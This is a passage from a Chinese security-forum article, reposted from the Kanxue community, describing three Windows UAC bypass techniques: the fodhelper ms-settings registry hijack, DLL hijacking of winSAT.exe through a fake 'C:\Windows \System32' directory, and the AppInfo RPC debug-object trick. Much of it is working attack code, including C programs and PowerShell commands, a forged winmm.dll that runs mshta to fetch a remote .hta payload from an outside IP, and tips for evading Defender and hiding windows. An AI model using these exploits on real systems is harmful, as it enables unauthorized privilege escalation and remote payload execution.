利用思路:添加注册表键值 HKCU\Software\Classes\ms-settings\shell\open\command,设置其 value 为需要执行的程序路径或命令;添加 HKCU:\Software\Classes\ms-settings\shell\open\command\DelegateExecute(修改 HKCU 下的键值只需要普通用户权限)。这样程序启动后会执行 HKCU\Software\Classes\ms-settings\shell\open\command 中的内容,从而绕过 UAC 弹窗。

简单分析:

可以发现,fodhelper.exe 在 manifest 中配置了 autoElevate 为 True,并且运行之后没有弹窗。
  1. strings.exe  -s *.exe | findstr /i "autoElevate"
  2. ......
  3. C:\Windows\System32\fodhelper.exe:         <autoElevate>true</autoElevate>
复制代码



使用 ProcessMonitor 监控,发现程序确实去访问 HKCU\Software\Classes\ms-settings\shell\open\command,不过默认情况下这个键值是不存在的,仔细看前面记录会发现 HKCU\Software\Classes\ms-settings 也是不存在的。



先创建 HKCU\Software\Classes\ms-settings\shell\open\command 项:
New-Item "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Force

然后再次监控 fodhelper 运行,如果存在 HKCU\Software\Classes\ms-settings\shell\open\command,还会去查询 HKCU:\Software\Classes\ms-settings\shell\open\command\DelegateExecute

编辑

同样,再创建 HKCU\Software\Classes\ms-settings\shell\open\command\DelegateExecute 试一下:
New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "DelegateExecute" -Value "" -Force

可以发现,程序在成功查询到 HKCU\Software\Classes\ms-settings\shell\open\command\DelegateExecute 后会去查询 HKCU\Software\Classes\ms-settings\shell\open\command\command 或 HKCU\Software\Classes\ms-settings\shell\open\command\(Default),事实证明它们是一样的。

编辑

这里我们来设置 HKCU\Software\Classes\ms-settings\shell\open\command\command 吧,将其设置为 cmd.exe。嗯。。。Defender 会检测到,但可以写入注册表,虽然过一会儿就被删了。
  1. [String]$program = "cmd /c start cmd.exe"
  2. New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "(default)" -Value $program -Force
复制代码

不过,利用这段时间启动 fodhelper 还是可以成功的 ~

编辑

如果设置的 HKCU\Software\Classes\ms-settings\shell\open\command 中不包含敏感字符,Defender 就不会检测到,不会弹出提示,也不会删除键值:

编辑

如果有时间,还可以看一下其他程序有没有类似问题 ~

C 代码:
  1. #include <windows.h>
  2. #include <stdio.h>

  3. int main(int argc, char* argv[]) {
  4.     PROCESS_INFORMATION pi = { 0 };
  5.     STARTUPINFOA si = { 0 };
  6.     HKEY hKey;

  7.     si.cb = sizeof(STARTUPINFO);
  8.     RegCreateKeyA(HKEY_CURRENT_USER, "Software\\Classes\\ms-settings\\Shell\\open\\command", &hKey);
  9.     RegSetValueExA(hKey, "", 0, REG_SZ, (LPBYTE)"cmd /c start cmd.exe", strlen("cmd /c start cmd.exe"));
  10.     RegSetValueExA(hKey, "DelegateExecute", 0, REG_SZ, (LPBYTE)"", sizeof(""));
  11.     CreateProcessA("C:\\Windows\\System32\\cmd.exe", (LPSTR)"/c C:\\Windows\\System32\\fodhelper.exe", NULL, NULL, FALSE, NORMAL_PRIORITY_CLASS, NULL, NULL, &si, &pi);
  12.     Sleep(5000);
  13.     RegDeleteTreeA(HKEY_CURRENT_USER, "Software\\Classes\\ms-settings");

  14.     return 0;
  15. }
复制代码

二、通过 DLL 劫持 Bypass UAC

参考:https://medium.com/tenable-techblog/uac-bypass-by-mocking-trusted-directories-24a96675f6e

目标程序:winSAT.exe

DLL:winmm.dll

利用思路:使用 CreateDirectory API 创建 "C:\Windows \System32" 目录("Windows" 后面有空格)绕过 Appinfo.dll (AIS) 中 RtlPrefixUnicodeString 函数中的可信目录的检查。将目标程序复制到此目录,伪造 DLL,利用 DLL 加载顺序使目标程序加载伪造的 DLL 执行任意代码,从而绕过 UAC 弹窗提示

简单分析:

先看一下 DLL 加载顺序:
  • 程序所在目录
  • 系统目录即 SYSTEM32 目录
  • 16位系统目录即 SYSTEM 目录
  • Windows目录
  • 程序加载目录(可通过 SetCurrentDirectory 函数设置)
  • PATH 环境变量中列出的目录

下面是个简单的例子,TestLoad 加载 onlytest.dll,程序加载目录是 C:\Users\strawberry,可以发现程序在加载 DLL 的时候会从程序所在目录开始寻找,然后才会从系统目录中搜索:


AIS 要求程序从可信目录中启动,而这些目录普通用户是没办法写入的。但是可以新建 "C:\Windows \System32" 目录,将白名单程序复制到这个目录,这样劫持 DLL 就顺理成章了。



winSAT.exe 导入了 winmm.dll 中两个函数 timeBeginPeriod、timeEndPeriod,伪造的 dll 也要导出这两个函数。

编辑

以下为 dll 实现,偷懒这里直接用 mshta 了(需要关掉 defender)。
  1. // dllmain.cpp : 定义 DLL 应用程序的入口点。
  2. #include "pch.h"
  3. #include <stdlib.h>
  4. #include <Mmsystem.h>

  5. extern "C" __declspec(dllexport) MMRESULT timeBeginPeriod(UINT);
  6. extern "C" __declspec(dllexport) MMRESULT timeEndPeriod(UINT);
  7. HMODULE hModule = NULL;

  8. typedef MMRESULT(*FUNC)(UINT);
  9. FUNC timeBeginPeriod_ori, timeEndPeriod_ori;

  10. MMRESULT timeBeginPeriod(UINT uPeriod) {
  11.     FUNC timeBeginPeriod_ori;
  12.     if (hModule)
  13.     {
  14.         timeBeginPeriod_ori = (FUNC)GetProcAddress(hModule, "timeBeginPeriod");
  15.         if (timeBeginPeriod_ori) {
  16.             return timeBeginPeriod_ori(uPeriod);
  17.         }
  18.     }
  19. }

  20. MMRESULT timeEndPeriod(UINT uPeriod) {
  21.     FUNC timeEndPeriod_ori;
  22.     if (hModule)
  23.     {
  24.         timeEndPeriod_ori = (FUNC)GetProcAddress(hModule, "timeEndPeriod");
  25.         if (timeEndPeriod_ori) {
  26.             return timeEndPeriod(uPeriod);
  27.         }
  28.     }
  29. }


  30. BOOL APIENTRY DllMain(HMODULE hModule,
  31.     DWORD  ul_reason_for_call,
  32.     LPVOID lpReserved
  33. )
  34. {
  35.     switch (ul_reason_for_call)
  36.     {
  37.     case DLL_PROCESS_ATTACH:

  38.         STARTUPINFO StartupInfo;
  39.         PROCESS_INFORMATION ProcessInformation;

  40.         ZeroMemory(&StartupInfo, sizeof(StartupInfo));
  41.         ZeroMemory(&ProcessInformation, sizeof(ProcessInformation));

  42.         hModule = LoadLibraryEx(L"C:\\WINDOWS\\System32\\Winmm.dll", NULL, LOAD_WITH_ALTERED_SEARCH_PATH);

  43.         system("mshta.exe http://192.168.140.158:8080/bs6tdkm9GWM8KN.hta");
  44.         ExitProcess(0);

  45.     case DLL_THREAD_ATTACH:
  46.     case DLL_THREAD_DETACH:
  47.     case DLL_PROCESS_DETACH:
  48.         break;
  49.     }
  50.     return TRUE;
  51. }
复制代码



然后运行 winsat,然后就成功了。不过,运行的时候有个弹窗,可以通过编程隐藏窗口~

编辑

以下为最终代码,原本的版本中创建目录时使用的是 \\?\C:\Windows \System32,但经测试,直接用 C:\Windows \System32 也是可以成功的。通过 se.nShow = SW_HIDE 使程序运行时隐藏弹窗。
  1. #include "stdafx.h"
  2. #include <Windows.h>
  3. #include "resource.h"

  4. void DropResource(const wchar_t* rsrcName, const wchar_t* filePath) {
  5.     HMODULE hMod = GetModuleHandle(NULL);
  6.     HRSRC res = FindResource(hMod, MAKEINTRESOURCE(IDR_DATA1), rsrcName);
  7.     DWORD dllSize = SizeofResource(hMod, res);
  8.     void* dllBuff = LoadResource(hMod, res);
  9.     HANDLE hDll = CreateFile(filePath, GENERIC_WRITE, 0, 0, CREATE_ALWAYS, 0, NULL);
  10.     DWORD sizeOut;
  11.     WriteFile(hDll, dllBuff, dllSize, &sizeOut, NULL);
  12.     CloseHandle(hDll);
  13. }

  14. int main()
  15. {
  16.     _SHELLEXECUTEINFOW se = {};
  17.     //Create Mock SystemRoot Directory
  18.     CreateDirectoryW(L"C:\\Windows \", 0);
  19.     CreateDirectoryW(L"C:\\Windows \\System32", 0);

  20.     CopyFileW(L"C:\\Windows\\System32\\winSAT.exe", L"C:\\Windows \\System32\\winSAT.exe", false);

  21.     //Drop our dll for hijack
  22.     DropResource(L"DATA", L"C:\\Windows \\System32\\WINMM.dll");

  23.     //Execute our winSAT.exe copy from fake trusted directory
  24.     se.cbSize = sizeof(_SHELLEXECUTEINFOW);
  25.     se.lpFile =  L"C:\\Windows \\System32\\winSAT.exe";
  26.     se.lpParameters = L"formal";
  27.     se.nShow = SW_HIDE;
  28.     se.hwnd = NULL;
  29.     se.lpDirectory = NULL;
  30.     ShellExecuteEx(&se);

  31.     return 0;
  32. }
复制代码

另外,前面分析过 RAiLaunchAdminProcess 函数在验证要启动的程序是否位于可信路径时会使用 String2 与一些路径进行比对。以下为 String2 的赋值流程,"C:\Windows \System32\winSAT.exe" 经过 GetLongPathNameW 函数处理之后得到 "C:\Windows\System32\winSAT.exe",经过这个函数调用,"Windows " 中的空格被处理掉了,然后再调用 RtlDosPathNameToRelativeNtPathName_U_WithStatus 函数将字符串保存为以 "\??\" 开头的 UNICODE_STRING 类型的 String2。

这样在后面比对的时候就可以匹配上 "C:\Windows\System32",从而校验通过,然后就调用 RtlFreeUnicodeString 函数把它释放了。

编辑

后面在调用 AiIsEXESafeToAutoApprove 函数时,传入的参数还是 "C:\Windows \System32\winSAT.exe"

编辑

三、通过 APPINFO RPC服务 Bypass UAC

参考:https://googleprojectzero.blogspot.com/2019/12/calling-local-windows-rpc-servers-from.html

目标服务:AppInfo

相关函数:RAiLaunchAdminProcess

前置知识:如果可以在提升的 UAC 进程上启用调试并获得其调试对象的句柄,我们可以请求第一个调试事件,该事件将返回对该进程的完全访问句柄:https://googleprojectzero.blogspot.com/2019/04/windows-exploitation-tricks-abusing.html

利用思路:对于提升的进程,我们无法直接获得其调试对象句柄。但由于调试对象的句柄存储在 TEB 的保留字段中,同一个线程上创建的带有调试标志的所有进程共享同一个调试对象,可通过先创建 DEBUG_PROCESS 标志的非提升的进程,获得初始化的调试对象句柄,然后创建 DEBUG_PROCESS 标志的提升的进程,进而使用共用的调试对象句柄获得提升的进程的完全访问句柄。
编辑

先按照文章上的步骤复现一下:

安装 NtObjectManager 模块,这里指定 1.1.24 版本(最新版本测试有点问题)。
Install-Module -Name NtObjectManager -RequiredVersion 1.1.24 -Scope CurrentUser

解析 APPINFO.DLL 并筛选接口 ID 为 201ef99a-7fa0-444c-9399-19ba84f12a1a 的 RPC 服务器。
$rpc = Get-RpcServer "c:\windows\system32\appinfo.dll" | Select-RpcServer -InterfaceId "201ef99a-7fa0-444c-9399-19ba84f12a1a"

使用以下 xml 文件保存 RPC 服务器接口中需要重命名的函数、参数、结构及其字段的名字( Get-RpcServerName \$rpc 命令可查看服务器原始 xml 文件):
  1. //names.xml
  2. <RpcServerNameData
  3.    xmlns="http://schemas.datacontract.org/2004/07/NtObjectManager">
  4.   <InterfaceId>201ef99a-7fa0-444c-9399-19ba84f12a1a</InterfaceId>
  5.   <InterfaceMajorVersion>1</InterfaceMajorVersion>
  6.   <InterfaceMinorVersion>0</InterfaceMinorVersion>
  7.   <Procedures>
  8.     <NdrProcedureNameData>
  9.       <Index>0</Index>
  10.       <Name>RAiLaunchAdminProcess</Name>
  11.       <Parameters>
  12.         <NdrProcedureParameterNameData>
  13.           <Index>10</Index>
  14.           <Name>ProcessInformation</Name>
  15.         </NdrProcedureParameterNameData>
  16.       </Parameters>
  17.     </NdrProcedureNameData>
  18.   </Procedures>
  19.   <Structures>
  20.   <NdrStructureNameData>
  21.       <Index>0</Index>
  22.       <Members/>
  23.       <Name>APP_STARTUP_INFO</Name>
  24.     </NdrStructureNameData>
  25.     <NdrStructureNameData>
  26.       <Index>2</Index>
  27.       <Members>
  28.         <NdrStructureMemberNameData>
  29.           <Index>0</Index>
  30.           <Name>ProcessHandle</Name>
  31.         </NdrStructureMemberNameData>
  32.       </Members>
  33.       <Name>APP_PROCESS_INFORMATION</Name>
  34.     </NdrStructureNameData>
  35.   </Structures>
  36. </RpcServerNameData>
复制代码
使用上一步的 xml 文件重命名 RPC 服务器接口的某些特定部分,以便后续使用。Get-Content "names.xml" | Set-RpcServerName $rpc

创建基于 RPC 服务器的客户端对象,并将客户端连接到本地 RPC 服务器的 ALPC 端口。
  1. $client = Get-RpcClient $rpc
  2. Connect-RpcClient $client
复制代码

定义 Start-Uac 函数,该函数调用通过 RAiLaunchAdminProcess 接口返回一个 NtProcess 对象,该对象可用于访问已创建进程的属性,包括调试对象。默认传递 DEBUG_PROCESS 标志来创建进程,并使用 RunAsAdmin 参数来选择是否提升进程权限。
  1. function Start-Uac {
  2.   Param(
  3.     [Parameter(Mandatory, Position = 0)]
  4.     [string]$Executable,
  5.     [switch]$RunAsAdmin
  6.   )

  7.   $CreateFlags = [NtApiDotNet.Win32.CreateProcessFlags]::DebugProcess -bor `
  8.         [NtApiDotNet.Win32.CreateProcessFlags]::UnicodeEnvironment
  9.   $StartInfo = $client.New.APP_STARTUP_INFO()

  10.   $result = $client.RAiLaunchAdminProcess($Executable, $Executable,`
  11.           [int]$RunAsAdmin.IsPresent, [int]$CreateFlags,`
  12.           "C:", "WinSta0\Default", $StartInfo, 0, -1)
  13.   if ($result.retval -ne 0) {
  14.     $ex = [System.ComponentModel.Win32Exception]::new($result.retval)
  15.     throw $ex
  16.   }

  17.   $h = $result.ProcessInformation.ProcessHandle.Value
  18.   Get-NtObjectFromHandle $h -OwnsHandle
  19. }
复制代码


调用 Start-Uac 函数创建非提升的进程(notepad.exe),获得调试对象的句柄,终止进程并分离调试器。
  1. $p = Start-Uac "c:\windows\system32\notepad.exe"
  2. $dbg = Get-NtDebug -Process $p
  3. Stop-NtProcess $p
  4. Remove-NtDebugProcess $dbg -Process $p
复制代码


再次调用 Start-Uac 函数创建提升的进程(taskmgr.exe),对调试对象句柄发出等待以获取初始调试事件句柄,然后使用 Copy-NtObject 从提升的进程复制当前进程伪句柄 (-1) 来获得完全的特权进程句柄。

  1. $p = Start-Uac "c:\windows\system32\taskmgr.exe" -RunAsAdmin
  2. $ev = Start-NtDebugWait -Seconds 0 -DebugObject $dbg
  3. $h = [IntPtr]-1
  4. $new_p = Copy-NtObject -SourceProcess $ev.Process -SourceHandle $h
  5. Remove-NtDebugProcess $dbg -Process $new_p
复制代码


拥有了完全的特权进程句柄后就可以创建特权的子进程了。
New-Win32Process "cmd.exe" -ParentProcess $new_p -CreationFlags NewConsole

如下:

编辑

在这个过程中遇到过模块无法加载的问题,解决:(以管理员身份打开PowerShell 输入 set-executionpolicy remotesigned,就当是先测试下吧,实际情况下还是会用 C 或 C# 程序)。参考:https://www.jianshu.com/p/4eaad2163567
编辑

简单分析

首先回顾一下 RAiLaunchAdminProcess 函数,该函数原型如下:
  1. long RAiLaunchAdminProcess(
  2.     handle_t hBinding,
  3.     [in][unique][string] wchar_t* ExecutablePath,
  4.     [in][unique][string] wchar_t* CommandLine,
  5.     [in] long StartFlags,
  6.     [in] long CreateFlags,
  7.     [in][string] wchar_t* CurrentDirectory,
  8.     [in][string] wchar_t* WindowStation,
  9.     [in] struct APP_STARTUP_INFO* StartupInfo,
  10.     [in] unsigned __int3264 hWnd,
  11.     [in] long Timeout,
  12.     [out] struct APP_PROCESS_INFORMATION* ProcessInformation,
  13.     [out] long *ElevationType
  14. );
复制代码


经过分析可以知道,该函数通过 AiCheckLUA -> AiLaunchConsentUI -> AiLaunchProcess -> CreateProcessAsUserW 函数调用链来启动 consent.exe 进程来判断是否需要弹窗,然后通过 AiLaunchProcess -> CreateProcessAsUserW 函数调用链启动目标程序。
以下为 AiLaunchProcess 函数调用 CreateProcessAsUserW 函数的过程,其中 a7 来自 AiLaunchProcess 函数的第 7 个参数:

编辑

经过回溯发现该参数来自于 RAiLaunchAdminProcess 函数的第 6 个参数 a6,由于 RAiLaunchAdminProcess 函数采用异步处理,其第一个参数对应了 PRPC_ASYNC_STATE 类型的 pAsync,因而 a6 对应的参数是 CreateFlags。

编辑

在调用 CreateProcessAsUserW 函数的时候会传入CreateFlags | 0x80004,CreateFlags 对应的 flag 列表可参考:https://docs.microsoft.com/en-us ... cess-creation-flags,其中,设置 DEBUG_PROCESS 标志允许启动并调试新进程。
  1. DEBUG_PROCESS(0x00000001):调用线程启动并调试新进程和新进程创建的所有子进程,可以使用 WaitForDebugEvent 函数接收所有相关的调试事件
  2. CREATE_SUSPENDED(0x00000004):新进程的主线程以挂起状态创建,直到调用 ResumeThread函数才运行
  3. CREATE_UNICODE_ENVIRONMENT(0x00000400):lpEnvironment 指向的环境块使用 Unicode 字符
  4. EXTENDED_STARTUPINFO_PRESENT(0x00080000):该进程需要使用扩展启动信息创建,通过 lpStartupInfo 参数指定 STARTUPINFOEX 结构
复制代码
访问进程的调试对象句柄需要对进程句柄具有 PROCESS_QUERY_INFORMATION 访问权限,但如果是提升的进程,我们只能获得对该进程句柄的 PROCESS_QUERY_LIMITED_INFORMATION 访问权限。这种限制使我们不能简单地获取提升进程的调试对象句柄。
不过由于设置了 DEBUG_PROCESS 标志,在调用CreateProcessAsUserW 函数过程中会调用 ntdll!DbgUiConnectToDbg 函数,该函数从 TEB 中获取调试对象,如下所示:

编辑

DbgUiConnectToDbg 函数首先会判断 TEB 偏移 0x16A8 处是不是 0(+0x16a0 DbgSsReserved : [2] (null)),如果是的话,就调用 NtCreateDebugObject 函数来创建一个调试对象,相当于初始化当前线程的调试对象。如果这个线程再调试一个进程,就可以直接从 TEB 偏移 0x16A8 处获得。

编辑

如果我们先创建一个普通进程并启用调试,在获得其调试句柄后分离调试器并终止进程,然后再创建一个调试的提升的进程,这样我们就有了获得提升进程的调试对象句柄的这个前提。

然后就可以调用 WaitForDebugEvent 函数等待目标调试事件从而获得提升的进程句柄(NtWaitForDebugEvent 函数调用 DbgkpOpenHandles 处理 CREATE_PROCESS_DEBUG_EVENT 类型事件时,会初始化 CREATE_PROCESS_DEBUG_INFO 结构中的进程句柄),虽然获得了这个句柄,但我们缺少 PROCESS_SUSPEND_RESUME 权限,这会阻止我们将进程与调试对象分离。

但由于我们具有 PROCESS_DUP_HANDLE 权限,因而可以调用 NtDuplicateObject 函数复制句柄从而获得完全提升的权限:

验证某个结论往往是简单的,能自己寻找到那个点是困难且有意义的。

参考链接:
https://blog.csdn.net/WPwalter/article/details/89838881
https://blog.walterlv.com/post/windows-user-account-control.html
https://blog.walterlv.com/post/requested-execution-level-of-application-manifest
https://medium.themayor.tech/utilizing-a-common-windows-binary-to-escalate-to-system-privileges-c16482cced4b
https://idiotc4t.com/privilege-escalation/bypassuac-fodhelper
https://medium.com/tenable-techblog/uac-bypass-by-mocking-trusted-directories-24a96675f6e
https://googleprojectzero.blogspot.com/2019/12/calling-local-windows-rpc-servers-from.html
https://googleprojectzero.blogspot.com/2019/04/windows-exploitation-tricks-abusing.html
http://blog.nsfocus.net/appinfo-rpc-uac-bypass/



看雪ID:蝶澈——
https://bbs.pediy.com/user-home-701197.htm
*本文由看雪论坛 蝶澈—— 原创,转载请注明来自看雪社区
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-30 01:51 , Processed in 0.018560 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表